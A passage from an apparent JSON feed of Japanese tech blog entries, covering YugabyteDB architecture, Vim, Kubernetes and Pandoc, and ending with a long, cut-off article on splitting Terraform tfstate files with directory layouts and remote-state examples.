Databaseとしてデザインする。一貫性分断耐性YugabyteDBはCAPの定理で言えばCPを中心に高い可用性を供えたデータベースネットワーク分断などを起因とするSplit BrainはRaft Group内であたらしいリーダーを選出することで対応している。YugabyteDBではLeader Leaseという障害が発生しても常に一つのリーダが存在することを保証する仕組みを実装している。直列化可能性single-row Linearizable writeをサポートしている。ACIDトランザクションYugabyteDBではSeriarizable、Repetable Read、Read Committed Isolationの三つの分離レベルをサポートしている。YSQL APIではこれら3つの分離レベルをサポートしているが、YCQLではRepeatable Readのみに対応している。Query APIYugabyteDBではYSQLとYCQLという2種類のQuery APIをサポートしている。YSQLYSQLはPostgreSQLに互換したAPIでPostgreSQLのクエリレイヤを再利用している。新しい変更は互換性を崩さない。YSQLは新しいPostgreSQLに互換しつづけることを目標としている。YCQLYCQLはCassandraのクエイ言語から派生した半リレーショナルなクエリ言語で、Webスケールな膨大なwriteに対応してスケールし素早いデータ取得を目標としている。パフォーマンスC++で実装されているため高いパフォーマンスと巨大なHeap(RAM)をCacheとして利用できる。SSDとNVMeに最適化している。高いWriteスループットとクライアントの同時実行性、高いデータ密度、増加し続けるデータへの対応を目標としている。地理的分散Zone、Multi Region、Multi Cloudいずれにも対応している。これに対応するために、ノード障害やトラヒックのルーティングなどに対応できる必要がある。クラウドネイティブアーキテクチャパブリッククラウドやオンプレミスで利用される一般てきなハードウェアで利用可能にする。原子時計のような特別なものに依存しない。Kubernatesに対応している。OSSで提供している。https://twitter.com/SawyerMerritt/status/1683365478582951936↩","isoDate":"2023-07-25T15:01:52.000Z","dateMiliSeconds":1690297312000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Vimでコマンドライン履歴を遡りやすくする","link":"https://blog.atusy.net/2023/07/24/vim-clean-history/","contentSnippet":"本記事はVim 駅伝7/24の記事です。Vimのコマンドラインで、履歴を遡りたい時、:wとか:qaとかが出てきて煩わしく感じることがあります。正直、これくらいシンプルなExコマンドであれば履歴に残しておく意味すら薄いので、履歴に残さない(or 履歴から消す)といいでしょう。","isoDate":"2023-07-24T00:00:00.000Z","dateMiliSeconds":1690156800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Terraformでmapにkeyが含まれないときにスキップしたい","link":"https://zenn.dev/nnaka2992/articles/skip_when_key_does_not_exists_in_map_terraform","contentSnippet":"Google CloudではPublic IPを利用した際に割り振られる可能性のあるCIDRの一覧がcloud.jsonでJSON形式で公開されています。この記事は雑な検証用のTerraformで承認済みネットワークにasia-notheast1のCIDRを全部登録してやろうとしたとき、上記のJSONファイルからscopeがasia-northeast1のprefixes.ipv4Prefixを抜きだそうとしたときにハマったのでその対応方法のメモです 結論以下のような感じで書いたら対応できました。contains(keys(hoge), \\"fuga\\") # hogeのkeyにh...","isoDate":"2023-07-22T14:53:12.000Z","dateMiliSeconds":1690037592000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の upstream のキャッチアップ","link":"https://zenn.dev/toversus/articles/52b107ab103712","contentSnippet":"先日、Kubernetes Meetup Tokyo #59 で「KEP から眺める Kubernetes」というタイトルで発表しました。発表の後で Kubernetes の upstream のキャッチアップ方法について質問を受けました。その場で回答はしたのですが、ちょうど社内の共有会で似たような話をしたところだったので、加筆修正したものを公開しておきます。 はじめにKubernetes の upstream を追いかけ始めて 1 年ちょっと経ったので、その経験をまとめます。Kubernetes の upstream やエコシステムを観察しているだけで、コントリビュータではありま...","isoDate":"2023-07-20T10:18:32.000Z","dateMiliSeconds":1689848312000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Pandoc 3でカスタムライターがとてもよくなった","link":"https://blog.atusy.net/2023/07/14/pandoc-3-custom-writer/","contentSnippet":"様々な文書形式を相互変換するPandocにはカスタムライター・カスタムリーダーという、独自形式の読み書きをサポートする機能があります。Lua言語で記述でき、便利関数も色々と用意されています。","isoDate":"2023-07-14T00:00:00.000Z","dateMiliSeconds":1689292800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Cloud Native の作法","link":"https://speakerdeck.com/nwiizo/cloud-native-nozuo-fa","contentSnippet":"2023年7月13日 \\r\\r成熟度モデルを活用したCloud Nativeへの道筋 という副題で登壇します #開発生産性con_findy\\rhttps://syu-m-5151.hatenablog.com/entry/2023/07/13/131433\\r\\r\\r開発生産性Conference の登壇資料\\rhttps://findy.connpass.com/event/283417/","isoDate":"2023-07-13T04:00:00.000Z","dateMiliSeconds":1689220800000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"メールが届いたら Google Home で音声で通知する","link":"https://blog.1q77.com/2023/07/ses-lambda-and-cloud-pubsub/","contentSnippet":"以前、「LINE に送ったメッセージを Google Home に読み上げさせる」という記事を書きました。 その時に作ったものに家にあるラズパイで Cloud PubSub を subscribe してメッセー","isoDate":"2023-07-10T14:25:35.000Z","dateMiliSeconds":1688999135000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"【Terraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80】tfstateファイルの分割パターンとディレクトリ構成への適用","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/07/05/001756","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️Terraformのtfstateファイルを分割する目的と、オススメの分割パターンについて (★で表現)Terraformのリポジトリやリモートバックエンドのディレクトリ構成の設計について記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. なぜ tfstate ファイルを分割するのか分割しなかった場合分割した方がいい場合分割しない方がいい場合03. tfstate ファイルの分割分割の境界状態の依存関係図依存関係図とは依存関係の表現▼ 依存関係の表現記法▼ 依存関係がない場合▼ 依存関係がある場合04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ディレクトリ \uD83D\uDCC2 構成リモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割ディレクトリ構成05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成AWSリソース別dataブロックの場合AWSリソース別dataブロックによる依存状態の依存関係図リポジトリのディレクトリ構成リモートバックエンドのディレクトリ構成06. tfstate ファイルの分割パターンオススメな設計の一覧大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合リモートバックエンドの場合07. 上層の分割 (推奨)上層の分割についてプロバイダーのアカウント別 - ★★★この分割方法について【プロバイダーアカウント別】状態の依存関係図【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合08. 下層の分割 (推奨)下層の分割について実行環境別 - ★★★この分割方法について【実行環境別】状態の依存関係図【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合09. 中間層の分割 (任意)中間層の分割について運用チーム責務範囲別 - ★★この分割方法について【チーム別】状態の依存関係図【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合プロダクトのサブコンポーネント別 - ★★この分割方法について【サブコンポーネント別】状態の依存関係図【サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合運用チーム責務範囲別 \xd7 プロダクトサブコンポーネント別 - ★この分割方法について【チーム別 \xd7 サブコンポーネント別】状態の依存関係図【チーム別 \xd7 サブコンポーネント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【チーム別 \xd7 サブコンポーネント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合同じテナント内のプロダクト別この分割方法について【同じテナント内のプロダクト】状態の依存関係図【同じテナント内のプロダクト】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【同じテナント内のプロダクト】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの種類グループ別この分割方法について【種類グループ別】状態の依存関係図【種類グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【種類グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合AWSリソースの状態の変更頻度グループ別この分割方法について【変更頻度グループ別】状態の依存関係図【変更頻度グループ別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合▼ 同じリポジトリの場合【変更頻度グループ別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合▼ 同じリモートバックエンドの場合10. おわりに謝辞記事関連のおすすめ書籍01. はじめにどうも、Mitchell Hashimoto です。さて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、チームが使っているTerraform\uD83E\uDDD1\uD83C\uDFFB‍\uD83D\uDE80のリポジトリをリプレイスする作業を担当しました。このリポジトリでは単一のtfstateファイルが状態を持ち過ぎている課題を抱えていたため、課題に合った適切な分割パターンでリプレイスしました。今回は、この時に整理した分割パターン (AWS向け) を記事で解説しました。もちろん、GoogleCloudやAzureでも読み換えていただければ、同じように適用できます。知る限りの分割パターンを記載したところ、情報量がエグいことになってしまったため、気になる分割パターンだけ拾って帰っていただけるとハッピーです\uD83D\uDE4Fそれでは、もりもり布教していきます\uD83D\uDE1702. なぜ tfstate ファイルを分割するのか%%{init: { \'theme\': \\"default\\", \'themeVariables\': { \'commitLabelFontSize\': \'13px\' }}}%%gitGraph commit id: \\"8c8e6\\" commit id: \\"0e3c3\\" branch feature/foo checkout feature/foo commit id: \\"4e9e8\\" commit id: \\"da005\\" checkout main branch feature/bar commit id: \\"2d52f\\" checkout main commit id: \\"e74d6\\" branch feature/baz commit id: \\"f6881\\"分割しなかった場合そもそも、なぜtfstateファイルを分割する必要があるのでしょうか。tfstateファイルを分割しなかったと仮定します。様々なインフラコンポーネントを単一のtfstateファイルで状態を持つ場合、1回のterraformコマンド全てのコンポーネントの状態を操作できて楽です。ただし、複数の作業ブランチがある状況だと煩わしいことが起こります。各作業ブランチでインフラコンポーネントの状態を変更しかけていると、他の作業ブランチから影響を受け、terraformコマンドでtargetオプションが必要になってしまいます。他にも、terraformコマンドの完了に時間がかかりすぎるといった問題も起こるかもしれません。単一のtfstateファイルで管理するコンポーネントが多くなるほど、これらの問題は顕著になります。分割した方がいい場合その一方で、tfstateファイルをいい感じに分割したと仮定します。各作業ブランチでは、まるで暗黙的にtargetオプションがついたように、他の作業ブランチから影響を受けずにterraformコマンドを実行できます。よって、各tfstateファイルを操作できる管理者は互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up and Running: Writing Infrastructure as CodeOrganizing With Multiple States - DevOps with Terraform - CloudCasts分割しない方がいい場合運用ルールや開発者人数が理由で作業が衝突せず、targetオプションが必要ない状況であれば、tfstateファイルは分割しなくてもよいでしょう。tfstateファイルを分割するメリットが少ないです\uD83D\uDE45\uD83C\uDFFB‍03. tfstate ファイルの分割分割の境界それでは、tfstateファイルの分割の境界はどのようにして見つければよいのでしょうか。これを見つけるコツは、できるだけ相互に依存しないインフラリソースの関係 に注目することだと考えています。ここでいう依存とは、\\"tfstateファイルが他のtfstateファイルの状態を使用すること\\" です。もう少し具体的に言語化すると、\\"特定のインフラリソースが他の設定値を参照すること\\" です。状態をほとんど使用し合わない (互いに設定値の参照数が少ない) インフラリソース同士を、異なるtfstateファイルで管理します。異なるtfstateファイルで管理できる分割パターンについては後述します。▶ 『依存』という用語についてtfstateファイルでも同じ用語で表現することにしました。@tmknom さんが述べている通り、Terraformをよりよく設計するためには、『ソフトウェアの基礎知識』が必要です\uD83D\uDC4D状態の依存関係図依存関係図とは分割したtfstateファイル間の状態の依存関係を表現した図です。プロバイダーのアカウントの状態をtfstateファイルで管理していることを想像してみてください。%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"tfstateファイル\\"] end似たものとしてterraform graphコマンドによるグラフがありますが、これはインフラリソース間の依存関係図です。tfstateファイル間で相互に依存関係があるからといって、個別のインフラリソース間で循環参照が起こってしまうというわけではないです。続いて、依存関係がある場合と無い場合で、どのような依存関係図になるかを紹介していきます。Command: graph | Terraform | HashiCorp Developer依存関係の表現▼ 依存関係の表現記法tfstateファイル間で状態の依存関係がある場合、これを図で表現すると分割の状況がわかりやすくなります。『依存』は、---> (波線矢印) で表現することとします。依存関係がある場合については、後述します。▶ 『依存』の波線矢印について---> (波線矢印) で表現します。そのため便宜上、tfstateファイルでも同じ記号で表現することにしました\uD83D\uDC4D▼ 依存関係がない場合例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、 tfstate ファイル間に依存関係はないとします。そのため、想定される状態の依存関係図は以下の通りになります。tfstateファイル間に依存関係がない状況がベストです。---title: tfstateファイル間に依存関係はない---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end▼ 依存関係がある場合同様に分割したと仮定します。ここで仮定した状況では、 foo-tfstate ➡︎ bar-tfstate の方向に依存しているとします。そのため、---> (波線矢印) を使用して、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: foo-tfstateファイルは、bar-tfstateファイルに依存---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph AWSアカウント foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. 依存 .-> bar04. tfstate ファイルに基づくその他の設計リポジトリ \uD83D\uDC31 の設計リポジトリ分割ここまでで、tfstateファイル分割について簡単に紹介しました。リポジトリの分割は、tfstateファイル分割に基づいて設計しましょう。可能であれば、1個のリポジトリに1個のtfstateファイルをおくことが望ましいです。異なるリポジトリにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83D\uDC31 foo-repository/├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する...\uD83D\uDC31 bar-repository/├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する...ディレクトリ \uD83D\uDCC2 構成リポジトリ内のディレクトリ構成も、tfstateファイル分割に基づいて設計しましょう。率直に言うと、Terraformのディレクトリ構成のパターンは無数にあります。そのため、基準なしにディレクトリ構成を考えると何でもあり になってしまいます。その一方で、tfstateファイル分割に基づいて設計することにより、明確なディレクトリ構成パターン として抽出可能になります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ...▶ ローカルモジュールのディレクトリ構成の設計についてresource、data) のセットを使い回すことを目的とした、ローカルモジュールがあります。今回、これのディレクトリ構成は設計に含めていません。混同しやすいのですが、tfstateファイル分割に基づくディレクトリ構成とローカルモジュール内のそれは、全く別のテーマとして切り離して考えることができます\uD83D\uDC4Dリモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割本記事では、リモートバックエンドとしてAWS S3バケットを使用することを想定しています。リモートバックエンドの分割は、tfstateファイル分割に基づいて設計しましょう。異なるリモートバックエンドにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83E\uDEA3 foo-bucket/│└── terraform.tfstate # fooコンポーネントの状態を持つ\uD83E\uDEA3 bar-bucket/│└── terraform.tfstate # barコンポーネントの状態を持つディレクトリ構成もし、リモートバックエンドをtfstateファイル分割に基づいて分割しなかったとします。その場合は、代わりにリモートバックエンド内のディレクトリ構成をtfstateファイル分割に基づいて設計しましょう。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo/│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar/ └── terraform.tfstate # barコンポーネントの状態を持つ05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存terraform_remote_stateブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 - terraform_remote_stateブロックに加えてoutputブロックも実装が必要であり、outputブロックは依存先のAWSリソースが一見してわかりにくい。 拡張性 依存先のAWSリソースに関わらず、同じterraform_remote_stateブロックを使い回せる。 - 保守性 - 依存先と依存元の間でTerraformのバージョンに差がありすぎると、tfstateファイル間で互換性がなくなり、terraform_remote_stateブロックの処理が失敗する。 本記事では、 terraform_remote_state ブロックを使用して、状態の依存関係を定義 していきます。tfstateファイルが他のtfstateファイルに依存する方法として、後述のAWSリソース別dataブロックがあります。The terraform_remote_state Data Source | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: terraform_remote_stateブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。ディレクトリの設計方法は、分割パターン で説明しています。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── remote_state.tf # terraform_remote_stateブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。resource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.terraform_remote_state.bar.outputs.bar_vpc_id ...}data \\"terraform_remote_state\\" \\"bar\\" { backend = \\"s3\\" config = { bucket = \\"tfstate\\" key = \\"bar/terraform.tfstate\\" region = \\"ap-northeast-1\\" }}# VPCの状態は、bar-tfstate ファイルで持つoutput \\"bar_vpc_id\\" { value = aws_vpc.bar.id}resource \\"aws_vpc\\" \\"bar\\" { ...}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つAWSリソース別dataブロックの場合AWSリソース別dataブロックによる依存AWSリソース別dataブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 依存先のAWSリソースがわかりやすい。 - 拡張性 - 依存先のAWSリソース別dataブロックが必要である。 保守性 依存先と依存元の間でTerraformのバージョンに差があっても、tfstateファイル間で直接的に依存するわけではないため、バージョン差の影響を受けない。 - 今回は使用しませんが、依存関係の他の定義方法として、AWSリソース別dataブロックがあります。これは、tfstateファイルが自身以外 (例:コンソール画面、他のtfstateファイル) で作成されたAWSリソースの状態に依存するために使用できます。terraform_remote_stateブロックとは異なり、直接的にはtfstateファイルに依存しません。AWSリソース別dataブロックの場合は、実際のAWSリソースの状態に依存することにより、間接的にAWSリソースのtfstateファイルに依存することになります。Data Sources - Configuration Language | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソース別dataブロックも同様にして、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: dataブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成ディレクトリ構成は、tfstateファイル分割に基づいて、以下の通りになります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── data.tf # dataブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。# fooリソースの状態は、foo-tfstate ファイルで持つresource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.aws_vpc.bar.id}# VPCの状態は、bar-tfstate ファイルで持つdata \\"aws_vpc\\" \\"bar\\" { filter { name = \\"tag:Name\\" values = [\\"\\"] }}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つ06. tfstate ファイルの分割パターンオススメな設計の一覧前述の通り、tfstateファイルの分割の境界は、『他の状態にできるだけ依存しないリソースの関係』から見つけることができます。分割しすぎると terraform_remote_stateブロック地獄 になるため、細かすぎず粗すぎない適切な境界を見つけていきましょう。今回は、私が考える分割パターンをいくつか紹介します。全てが実用的なパターンというわけでないため、オススメするものを ★ としています。推奨・任意 tfstate分割パターン大分類 tfstate分割パターン小分類オススメ 対応するリポジトリ構成 \uD83D\uDC31 対応するリモートバックエンド構成 \uD83E\uDEA3 推奨 上層 プロバイダーのアカウント別 ★★★ リポジトリ自体または上層ディレクトリ リモートバックエンド自体または上層ディレクトリ 下層実行環境別 ★★★ 下層ディレクトリ 下層ディレクトリ 任意 中間層 運用チーム責務範囲別 ★★ 中間層ディレクトリ 中間層ディレクトリ プロダクトのサブコンポーネント別 ★★ 運用チーム責務範囲別\xd7プロダクトのサブコンポーネント別(組み合わせ) ★ 同じテナント内のプロダクト別 AWSリソースの種類グループ別 AWSリソースの状態の変更頻度グループ別 大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合記事内のここ で、リポジトリ内のディレクトリ構成はtfstateファイル分割に基づいて設計するべき、という説明をしました。tfstateファイルの分割パターンは、上層/下層/中間層 の層に大別できます。これらの層は、以下の通りリポジトリ自体・ディレクトリ構成の設計方法に影響します。# リポジトリ自体を分割する場合\uD83D\uDC31 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ ...│ │...# リポジトリ内のディレクトリを分割する場合\uD83D\uDC31 リポジトリ/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ │ ...│ │ │...リモートバックエンドの場合記事内のここ で、リモートバックエンドのディレクトリ構成についても言及しました。これらの層は、以下の通りリモートバックエンド自体・ディレクトリ構成の設計方法に影響します。# リモートバックエンド自体を分割する場合\uD83E\uDEA3 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ └── terraform.tfstate # 分割された状態を持つ│ ││ │...# リモートバックエンド内のディレクトリを分割する場合\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ └── terraform.tfstate # 分割された状態を持つ│ │ ││ │ │...07. 上層の分割 (推奨)上層の分割について上層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。プロバイダーのアカウント別 - ★★★この分割方法について上層分割の中でも、基本的な方法の1つです。プロバイダーのアカウント別にtfstateファイルを分割し、上層もこれに基づいて設計します。この分割方法により、各プロバイダーの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度についてtfstateファイルで状態を管理せざるを得ない場合があります。例えば、Kubernetesのプロバイダーは、EKSと同じtfstateファイルで管理した方がよいです\uD83D\uDC4DTerraform Registry【プロバイダーアカウント別】状態の依存関係図例えば、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各プロバイダーの tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロバイダーのアカウント別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS aws[\\"tfstate\\"] end aws -...-> datadog aws -...-> healthchecks aws -...-> pagerDuty datadog -...-> aws healthchecks -...-> aws pagerDuty -...-> aws【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 datadog-repository/├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 healthchecks-repository/├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 pagerduty-repository/├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...▼ 同じリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 datadog/│ ├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 healthchecks/│ ├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 pagerduty/ ├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ...【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 aws-bucket/│└── terraform.tfstate # AWSの状態を持つ\uD83E\uDEA3 datadog-bucket/│└── terraform.tfstate # Datadogの状態を持つ\uD83E\uDEA3 healthchecks-bucket/│└── terraform.tfstate # Healthchecksの状態を持つ\uD83E\uDEA3 pagerduty-bucket/│└── terraform.tfstate # PagerDutyの状態を持つ▼ 同じリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws│ └── terraform.tfstate # AWSの状態を持つ│├── \uD83D\uDCC2 datadog│ └── terraform.tfstate # Datadogの状態を持つ│├── \uD83D\uDCC2 healthchecks│ └── terraform.tfstate # Healthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty └── terraform.tfstate # PagerDutyの状態を持つ08. 下層の分割 (推奨)下層の分割について下層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。実行環境別 - 